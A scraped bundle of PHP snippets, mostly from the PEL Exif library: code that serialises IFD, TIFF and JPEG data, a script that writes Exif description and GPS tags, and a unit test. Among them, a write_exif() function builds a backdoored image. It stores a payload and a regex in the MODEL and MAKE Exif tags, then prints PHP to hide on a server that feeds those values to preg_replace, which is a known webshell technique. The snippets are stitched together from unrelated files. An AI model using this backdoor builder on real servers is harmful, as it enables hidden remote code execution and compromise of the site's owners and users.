/** * Turn this directory into bytes. * * This directory will be turned into a byte string, with the * specified byte order. The offsets will be calculated from the * offset given. * * @param int the offset of the first byte of this directory. * * @param PelByteOrder the byte order that should be used when * turning integers into bytes. This should be one of {@link * PelConvert::LITTLE_ENDIAN} and {@link PelConvert::BIG_ENDIAN}. */ function getBytes($offset, $order) { $bytes = ''; $extra_bytes = ''; Pel::debug('Bytes from IDF will start at offset %d within Exif data', $offset); $n = count($this->entries) + count($this->sub); if ($this->thumb_data != null) { /* We need two extra entries for the thumbnail offset and * length. */ $n += 2; } $bytes .= PelConvert::shortToBytes($n, $order); /* Initialize offset of extra data. This included the bytes * preceding this IFD, the bytes needed for the count of entries, * the entries themselves (and sub entries), the extra data in the * entries, and the IFD link. */ $end = $offset + 2 + 12 * $n + 4; foreach ($this->entries as $tag => $entry) { /* Each entry is 12 bytes long. */ $bytes .= PelConvert::shortToBytes($entry->getTag(), $order); $bytes .= PelConvert::shortToBytes($entry->getFormat(), $order); $bytes .= PelConvert::longToBytes($entry->getComponents(), $order); /* * Size? If bigger than 4 bytes, the actual data is not in * the entry but somewhere else. */ $data = $entry->getBytes($order); $s = strlen($data); if ($s > 4) { Pel::debug('Data size %d too big, storing at offset %d instead.', $s, $end); $bytes .= PelConvert::longToBytes($end, $order); $extra_bytes .= $data; $end += $s; } else { Pel::debug('Data size %d fits.', $s); /* Copy data directly, pad with NULL bytes as necessary to * fill out the four bytes available.*/ $bytes .= $data . str_repeat(chr(0), 4 - $s); } } if ($this->thumb_data != null) { Pel::debug('Appending %d bytes of thumbnail data at %d', $this->thumb_data->getSize(), $end); // TODO: make PelEntry a class that can be constructed with // arguments corresponding to the newt four lines. $bytes .= PelConvert::shortToBytes(PelTag::JPEG_INTERCHANGE_FORMAT_LENGTH, $order); $bytes .= PelConvert::shortToBytes(PelFormat::LONG, $order); $bytes .= PelConvert::longToBytes(1, $order); $bytes .= PelConvert::longToBytes($this->thumb_data->getSize(), $order); $bytes .= PelConvert::shortToBytes(PelTag::JPEG_INTERCHANGE_FORMAT, $order); $bytes .= PelConvert::shortToBytes(PelFormat::LONG, $order); $bytes .= PelConvert::longToBytes(1, $order); $bytes .= PelConvert::longToBytes($end, $order); $extra_bytes .= $this->thumb_data->getBytes(); $end += $this->thumb_data->getSize(); } /* Find bytes from sub IFDs. */ $sub_bytes = ''; foreach ($this->sub as $type => $sub) { if ($type == PelIfd::EXIF) { $tag = PelTag::EXIF_IFD_POINTER; } elseif ($type == PelIfd::GPS) { $tag = PelTag::GPS_INFO_IFD_POINTER; } elseif ($type == PelIfd::INTEROPERABILITY) { $tag = PelTag::INTEROPERABILITY_IFD_POINTER; } /* Make an aditional entry with the pointer. */ $bytes .= PelConvert::shortToBytes($tag, $order); /* Next the format, which is always unsigned long. */ $bytes .= PelConvert::shortToBytes(PelFormat::LONG, $order); /* There is only one component. */ $bytes .= PelConvert::longToBytes(1, $order); $data = $sub->getBytes($end, $order); $s = strlen($data); $sub_bytes .= $data; $bytes .= PelConvert::longToBytes($end, $order); $end += $s; } /* Make link to next IFD, if any*/ if ($this->isLastIFD()) { $link = 0; } else { $link = $end; } Pel::debug('Link to next IFD: %d', $link); $bytes .= PelConvert::longtoBytes($link, $order); $bytes .= $extra_bytes . $sub_bytes; if (!$this->isLastIfd()) { $bytes .= $this->next->getBytes($end, $order); } return $bytes; }
/** * Convert a number into bytes. * * @param int the number that should be converted. * * @param PelByteOrder one of {@link PelConvert::LITTLE_ENDIAN} and * {@link PelConvert::BIG_ENDIAN}, specifying the target byte order. * * @return string bytes representing the number given. */ function numberToBytes($number, $order) { return PelConvert::sLongToBytes($number, $order); }
/** * Turn this object into bytes. * * TIFF images can have {@link PelConvert::LITTLE_ENDIAN * little-endian} or {@link PelConvert::BIG_ENDIAN big-endian} byte * order, and so this method takes an argument specifying that. * * @param PelByteOrder $order * the desired byte order of the TIFF data. * This should be one of {@link PelConvert::LITTLE_ENDIAN} or {@link * PelConvert::BIG_ENDIAN}. * * @return string the bytes representing this object. */ public function getBytes($order = PelConvert::LITTLE_ENDIAN) { if ($order == PelConvert::LITTLE_ENDIAN) { $bytes = 'II'; } else { $bytes = 'MM'; } /* TIFF magic number --- fixed value. */ $bytes .= PelConvert::shortToBytes(self::TIFF_HEADER, $order); if ($this->ifd != null) { /* * IFD 0 offset. We will always start IDF 0 at an offset of 8 * bytes (2 bytes for byte order, another 2 bytes for the TIFF * header, and 4 bytes for the IFD 0 offset make 8 bytes * together). */ $bytes .= PelConvert::longToBytes(8, $order); /* * The argument specifies the offset of this IFD. The IFD will * use this to calculate offsets from the entries to their data, * all those offsets are absolute offsets counted from the * beginning of the data. */ $bytes .= $this->ifd->getBytes(8, $order); } else { $bytes .= PelConvert::longToBytes(0, $order); } return $bytes; }
/** * Turn this JPEG object into bytes. * * The bytes returned by this method is ready to be stored in a file * as a valid JPEG image. Use the {@link saveFile()} convenience * method to do this. * * @return string bytes representing this JPEG object, including all * its sections and their associated data. */ function getBytes() { $bytes = ''; foreach ($this->sections as $section) { $m = $section[0]; $c = $section[1]; /* Write the marker */ $bytes .= "ÿ" . PelJpegMarker::getBytes($m); /* Skip over empty markers. */ if ($m == PelJpegMarker::SOI || $m == PelJpegMarker::EOI) { continue; } $data = $c->getBytes(); $size = strlen($data) + 2; $bytes .= PelConvert::shortToBytes($size, PelConvert::BIG_ENDIAN); $bytes .= $data; /* In case of SOS, we need to write the JPEG data. */ if ($m == PelJpegMarker::SOS) { $bytes .= $this->jpeg_data->getBytes(); } } return $bytes; }
$jpeg->load($data); $exif = $jpeg->getExif(); if ($exif == null) { $exif = new PelExif(); $jpeg->setExif($exif); $tiff = new PelTiff(); $exif->setTiff($tiff); } else { $tiff = $exif->getTiff(); } } elseif (PelTiff::isValid($data)) { $tiff = $file = new PelTiff(); /* Now load the data. */ $tiff->load($data); } else { PelConvert::bytesToDump($data->getBytes(0, 16)); exit(1); } $ifd0 = $tiff->getIfd(); if ($ifd0 == null) { $ifd0 = new PelIfd(PelIfd::IFD0); $tiff->setIfd($ifd0); } $desc = $ifd0->getEntry(PelTag::IMAGE_DESCRIPTION); if ($desc == null) { $desc = new PelEntryAscii(PelTag::IMAGE_DESCRIPTION, $description); $ifd0->addEntry($desc); } else { $desc->setValue($description); } file_put_contents($output, $file->getBytes());
/** * Return a signed long read from the data. * * @param * int the offset into the data. An offset of zero will * return the first long available in the current allowed window. * The last valid offset is equal to {@link getSize()}-4. Invalid * offsets will result in a {@link PelDataWindowOffsetException} * being thrown. * * @return int the signed long found at offset. */ public function getSLong($o = 0) { /* * Validate the offset+3 to see if we can safely get four bytes * --- this throws an exception if offset is out of range. */ $this->validateOffset($o); $this->validateOffset($o + 3); /* Translate the offset into an offset into the data. */ $o += $this->start; /* Return a signed long. */ return PelConvert::bytesToSLong($this->data, $o, $this->order); }
/** * Convert a number into bytes. * * @param int $number * the number that should be converted. * * @param PelByteOrder $order * one of {@link PelConvert::LITTLE_ENDIAN} and * {@link PelConvert::BIG_ENDIAN}, specifying the target byte order. * * @return string bytes representing the number given. */ public function numberToBytes($number, $order) { return PelConvert::shortToBytes($number, $order); }
function write_exif() { global $verbose, $headers, $regex, $payload, $original, $backdoored; require_once 'pel/PelDataWindow.php'; require_once 'pel/PelJpeg.php'; require_once 'pel/PelTiff.php'; setlocale(LC_ALL, ''); $data = new PelDataWindow(file_get_contents($original)); if (PelJpeg::isValid($data)) { $jpeg = $file = new PelJpeg(); $jpeg->load($data); $exif = $jpeg->getExif(); if ($exif == null) { if ($verbose) { print " # No APP1 section found, added new.\r\n"; } $exif = new PelExif(); $jpeg->setExif($exif); $tiff = new PelTiff(); $exif->setTiff($tiff); } else { if ($verbose) { print " # Found existing APP1 section.\r\n"; } $tiff = $exif->getTiff(); } } elseif (PelTiff::isValid($data)) { $tiff = $file = new PelTiff(); $tiff->load($data); } else { print " # Unrecognized image format! The first 16 bytes follow:\r\n"; PelConvert::bytesToDump($data->getBytes(0, 16)); exit(1); } $ifd0 = $tiff->getIfd(); if ($ifd0 == null) { if ($verbose) { print " # No IFD found, adding new.\r\n"; } $ifd0 = new PelIfd(PelIfd::IFD0); $tiff->setIfd($ifd0); } //add MODEL EXIF header $desc = $ifd0->getEntry(PelTag::MODEL); if ($desc == null) { if ($verbose) { print " # Added new MODEL entry with " . $payload . "\r\n"; } $desc = new PelEntryAscii(PelTag::MODEL, $payload); $ifd0->addEntry($desc); } else { if ($verbose) { print 'Updating MODEL entry from "' . $desc->getValue() . '" to "' . $payload . '".' . "\r\n"; } $desc->setValue($payload); } //add MAKE EXIF header $desc = $ifd0->getEntry(PelTag::MAKE); if ($desc == null) { if ($verbose) { print " # Added new MAKE entry with " . $regex . "\r\n"; } $desc = new PelEntryAscii(PelTag::MAKE, $regex); $ifd0->addEntry($desc); } else { if ($verbose) { print 'Updating MAKE entry from "' . $desc->getValue() . '" to "' . $regex . '".' . "\r\n"; } $desc->setValue($regex); } print " # Saving backdoor file : " . $backdoored . ".\r\n"; $file->saveFile($backdoored); print " # Saved.\r\n"; if ($verbose) { print "\r\n\r\n"; } print " # In order to work your backdoor, you need to hide this code very well in a .php file.\r\n"; print "\r\n<?php\r\n\$exif = exif_read_data('path_to_backdoored_file_uploaded_on_server.jpg');\r\n"; print "preg_replace(\$exif['" . $headers[0] . "'],\$exif['" . $headers[1] . "'],'');\r\n?>\r\n\r\n"; }
function writeExif() { //$prog = array_shift($argv); $error = false; $input = array_shift($argv); $output = array_shift($argv); /*if (isset($input)) { echo "Input file: ".$input."<br>"; } else { $error = true; } if (isset($output)) { echo "Output file: ".$output."<br>"; } else { $error = true; }*/ /*if ($error) { echo "Error: Input or Output file not set."; exit(1); }*/ /* We typically need lots of RAM to parse TIFF images since they tend * to be big and uncompressed. */ ini_set('memory_limit', '32M'); /* The input file is now read into a PelDataWindow object. At this * point we do not know if the file stores JPEG or TIFF data, so * instead of using one of the loadFile methods on PelJpeg or PelTiff * we store the data in a PelDataWindow. */ echo 'Reading file "' . $input . '"<br>'; $data = new PelDataWindow(file_get_contents($input)); /* The static isValid methods in PelJpeg and PelTiff will tell us in * an efficient maner which kind of data we are dealing with. */ if (PelJpeg::isValid($data)) { /* The data was recognized as JPEG data, so we create a new empty * PelJpeg object which will hold it. When we want to save the * image again, we need to know which object to same (using the * getBytes method), so we store $jpeg as $file too. */ $jpeg = $file = new PelJpeg(); /* We then load the data from the PelDataWindow into our PelJpeg * object. No copying of data will be done, the PelJpeg object will * simply remember that it is to ask the PelDataWindow for data when * required. */ $jpeg->load($data); /* The PelJpeg object contains a number of sections, one of which * might be our Exif data. The getExif() method is a convenient way * of getting the right section with a minimum of fuzz. */ $exif = $jpeg->getExif(); if ($exif == null) { /* Ups, there is no APP1 section in the JPEG file. This is where * the Exif data should be. */ echo 'No APP1 section found, added new.<br>'; /* In this case we simply create a new APP1 section (a PelExif * object) and adds it to the PelJpeg object. */ $exif = new PelExif(); $jpeg->setExif($exif); /* We then create an empty TIFF structure in the APP1 section. */ $tiff = new PelTiff(); $exif->setTiff($tiff); } else { /* Surprice, surprice: Exif data is really just TIFF data! So we * extract the PelTiff object for later use. */ println('Found existing APP1 section.<br>'); $tiff = $exif->getTiff(); } } elseif (PelTiff::isValid($data)) { /* The data was recognized as TIFF data. We prepare a PelTiff * object to hold it, and record in $file that the PelTiff object is * the top-most object (the one on which we will call getBytes). */ $tiff = $file = new PelTiff(); /* Now load the data. */ $tiff->load($data); } else { /* The data was not recognized as either JPEG or TIFF data. * Complain loudly, dump the first 16 bytes, and exit. */ println('Unrecognized image format! The first 16 bytes follow:'); PelConvert::bytesToDump($data->getBytes(0, 16)); exit(1); } /* TIFF data has a tree structure much like a file system. There is a * root IFD (Image File Directory) which contains a number of entries * and maybe a link to the next IFD. The IFDs are chained together * like this, but some of them can also contain what is known as * sub-IFDs. For our purpose we only need the first IFD, for this is * where the image description should be stored. */ $ifd0 = $tiff->getIfd(); //echo $ifd0."<br>"; if ($ifd0 == null) { /* No IFD in the TIFF data? This probably means that the image * didn't have any Exif information to start with, and so an empty * PelTiff object was inserted by the code above. But this is no * problem, we just create and inserts an empty PelIfd object. */ println('No IFD found, adding new.<br>'); $ifd0 = new PelIfd(PelIfd::IFD0); $tiff->setIfd($ifd0); } /* Each entry in an IFD is identified with a tag. This will load the * ImageDescription entry if it is present. If the IFD does not * contain such an entry, null will be returned. */ $desc = $ifd0->getEntry(PelTag::IMAGE_DESCRIPTION); if (false) { /* We need to check if the image already had a description stored. */ if ($desc == null) { /* The was no description in the image. */ println('Added new IMAGE_DESCRIPTION entry with "%s<br>".', $description); /* In this case we simply create a new PelEntryAscii object to hold * the description. The constructor for PelEntryAscii needs to know * the tag and contents of the new entry. */ $desc = new PelEntryAscii(PelTag::IMAGE_DESCRIPTION, $description); /* This will insert the newly created entry with the description * into the IFD. */ $ifd0->addEntry($desc); } else { /* An old description was found in the image. */ println('Updating IMAGE_DESCRIPTION entry from "%s" to "%s<br>".', $desc->getValue(), $description); /* The description is simply updated with the new description. */ $desc->setValue($description); } } //$ifd1 = new PelIfd(PelIfd::IFD0); $ifd1 = $ifd0->getSubIfd(PelIfd::GPS); if ($ifd1 == null) { /* No IFD in the TIFF data? This probably means that the image * didn't have any Exif information to start with, and so an empty * PelTiff object was inserted by the code above. But this is no * problem, we just create and inserts an empty PelIfd object. */ echo 'No GPS found, adding new.<br>'; $ifd1 = new PelIfd(PelIfd::GPS); //getEntries $ifd0->addSubIfd($ifd1); //$ifd0->setNextIfd($ifd1); } //echo "ifd1: ".$ifd1."<br>"; $lat = $ifd1->getEntry(PelTag::GPS_LATITUDE); //echo $lat."<br>"; $gps_arr1[0] = 10; $gps_arr1[1] = 1; $gps_arr2[0] = 5; $gps_arr2[1] = 1; $gps_arr3[0] = 12; $gps_arr3[1] = 1; //$gps_arr[3] = 1; //$gps_arr[4] = 1; //$gps_arr[5] = 1; if ($lat == null) { $lat = new PelEntryRational(PelTag::GPS_LATITUDE, $gps_arr1, $gps_arr2, $gps_arr3); //$lat = new PelEntryRational(PelTag::GPS_LATITUDE, 10, 5, 12); echo "Creating latitude entry... "; $ifd1->addEntry($lat); echo "Created.<br>"; } else { $lat->setValue($gps_arr1, $gps_arr2, $gps_arr3); //$lat->setValue(10, 5, 12); } /* At this point the image on disk has not been changed, it is only * the object structure in memory which represent the image which has * been altered. This structure can be converted into a string of * bytes with the getBytes method, and saving this in the output file * completes the script. */ println('Writing file "%s".<br>', $output); file_put_contents($output, $file->getBytes()); $exifdata = exif_read_data($output, "", true, false); echo "Latitude: " . $exifdata["GPS"]["GPSLatitude"][0] . " " . $exifdata["GPS"]["GPSLatitude"][1] . " " . $exifdata["GPS"]["GPSLatitude"][2] . "<br>"; }
function testSByte() { $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 0), 0); $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 1), 0); $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 2), 0); $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 3), 0); $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 4), 1); $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 5), 35); $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 6), 69); $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 7), 103); $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 8), -119); $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 9), -85); $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 10), -51); $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 11), -17); $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 12), -1); $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 13), -1); $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 14), -1); $this->assertEqual(PelConvert::bytesToSByte($this->bytes, 15), -1); }